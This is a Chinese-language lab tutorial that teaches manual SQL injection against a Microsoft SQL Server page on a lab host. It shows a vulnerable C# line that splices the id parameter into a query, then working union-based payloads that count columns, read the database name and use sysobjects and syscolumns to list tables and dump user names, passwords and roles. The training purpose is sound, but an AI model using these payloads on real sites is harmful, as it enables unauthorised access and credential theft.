预备知识
首先需要了解盲注入的过程: 1.寻找注入点。 2.判断页面中是否有回显字段,并找出回显字段。 3.根据回显字段,获取数据库名字、表名、字段名以及字段内容。 另外,SQL Server数据库的一切信息都保存在它的系统表格里,每个数据库内都有系统表sysobjects,它存放该数据库内创建的所有对象,如数据库,表,约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。 更多信息参阅: http://blog.csdn.net/xabc3000/article/details/7615378 http://www.cnblogs.com/atree/p/SQL-Server-sysobjects.html
实验目的
通过该实验可以让用户掌握手工注入mssqlsever的过程,通过系统表sysobjects可以注出该数据库中的所有表和内容。
实验环境
测试环境:windows sever 2003,IP地址:10.1.1.215
实验步骤一
1.判断是否注入点: 首先访问页面http://10.1.1.215:8080/Information.aspx?id=1,然后id=1 and 1=1页面返回正常,id=1 and 1=2页面返回不正常,说明存在注入。 造成注入的原因是未对传入的参数做任何的过滤,关键代码为:
string where = string.Format("ID={0}", Request.Params["id"]);
拼接后的sql语句为:
select * from articles where ID= Request.Params["id"]
2.判断字段数: 在id=1后面添加order by n,n从1开始依次增大,直到页面返回不正常,当n=a时页面返回正常,n=a+1时页面返回不正常,说明字段数为a。这里依次尝试order by 1,2,3,4,5,6,发现当n为5的时候页面返回正常,n为6的时候页面没有正常返回,所以可以确定字段数为5。
实验步骤二
用union判断回显字段
1.根据上一步已经知道字段数为5,因为mssql可以用union联合查询,所以用id=1 and 1=2 union select 1,2,3,4,5测试,因为用union是有字段数和数据类型的限制,请自行查阅,通过尝试发现当id=1 and 1=2 union select 1,‘2’,‘3’,‘4’,5页面有回显。 2.根据上面的步骤可以知道表中的2,3,4字段为字符串类型。2,3,4中的内容可以用系统函数代替,获取想要的信息,比如:将’3’替换成db_name(),获取当前数据库的名字为Ms_SqlInect。
实验步骤三
爆出所要数据库的表和内容
1.每个数据库中都有一个sysobjects系统表,通过这个表读取数据库的表。
id=1 and 1=2 union select top 1 1,'2',name,'4',5 from sysobjects where xtype='u'
2.获取第二个表的名字。通过构造SQL语句可以爆出第二个表的名字,得到用户表User。仔细观察SQL语句的书写技巧:
id=1 and 1=2 union select top 1 1,'2',name,'4',5 from sysobjects where xtype='u' and name not in (select top 1 name from sysobjects where xtype = 'u')
3.找到用户后,通过系统表syscolumns爆出字段的名字。语句为:
id=1 and 1=2 union select top 1 1,'2',name,'4',5 from syscolumns where id = (select id from sysobjects where name= 'user')
获取第一个字段。 4.获取第二个字段。
id=1 and 1=2 union select top 1 1,'2',name,'4',5 from syscolumns where id = (select id from sysobjects where name= 'user') and name not in(select top 1 name from syscolumns where id =(select id from sysobjects where name='user'))
依次可以找出该表中还有password和role字段。 5.获取字段内容。 从表user中获取name字段的内容。 这里user添加一个[]是因为系统表中也存在user表,把name换成password和role就可以爆出相应字段的内容。
|